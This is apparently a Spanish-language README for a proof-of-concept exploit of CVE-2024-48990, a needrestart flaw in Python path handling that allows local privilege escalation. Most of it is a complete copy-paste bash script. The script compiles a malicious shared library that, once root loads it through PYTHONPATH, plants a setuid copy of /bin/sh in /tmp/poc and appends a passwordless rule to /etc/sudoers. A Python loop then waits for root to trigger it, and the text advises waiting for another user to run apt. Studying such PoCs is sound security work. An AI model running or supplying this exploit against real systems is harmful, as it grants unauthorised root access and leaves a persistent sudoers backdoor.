
Pruebas de POC para casos de uso
Este repositorio contiene una Prueba de Concepto (PoC) para demostrar una vulnerabilidad en el programa needrestart, que no establece correctamente la ruta de Python, lo que puede provocar una escalada de privilegios. La PoC destaca un posible camino para obtener privilegios elevados explotando esta falla.
La vulnerabilidad CVE-2024-48990 reside en el paquete needrestart. Específicamente, no establece correctamente la ruta de Python, lo que puede ser explotado para escalar privilegios cuando se activa mediante ciertas acciones.
Esta PoC simula un escenario donde se carga una biblioteca compartida maliciosa a través de Python para manipular la configuración del sistema y obtener privilegios elevados. Úsala en un entorno controlado y seguro solo con fines de prueba.
Para comprobar si eres vulnerable, ejecuta:
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
Si deseas una versión vulnerable para probar, simplemente ejecuta:
sudo apt install needrestart=3.7-3
Para desencadenar la vulnerabilidad, ejecuta lo siguiente mientras tienes el script de escucha en ejecución:
sudo apt remove ntp; sudo apt install ntp
Este comando instala un paquete (ntp en este caso) que provoca que se desencadene el problema con needrestart. Sin embargo, lo ideal sería esperar a que otro usuario del sistema ejecute una actualización o algo que active needrestart, como sudo apt update.
Ejecuta el siguiente script para configurar la PoC y desencadenar la vulnerabilidad. Puedes copiarlo y pegarlo directamente como todo el script tal cual en tu terminal y esperar, o desencadenarlo manualmente como se mostró anteriormente con ntp. También añade el binario a la ruta de sudo para todos los usuarios con fines de demostración; en realidad, podrías simplemente hacer que añada todas las rutas de sudo para tu usuario, pero quería mostrar ambas opciones:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
Si deseas limpiar los archivos de prueba y eliminarte de sudoers, puedes ejecutar lo siguiente desde un terminal con privilegios elevados:
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls
needrestart instalado (o eliminado y reinstalado para desencadenar)Esta PoC es solo para fines de prueba y no debe usarse en un entorno de producción. Explotar esta vulnerabilidad en entornos no autorizados puede ser ilegal. Siempre obtén permiso explícito antes de realizar cualquier prueba de seguridad.
¡Felices pruebas! 🧪🚀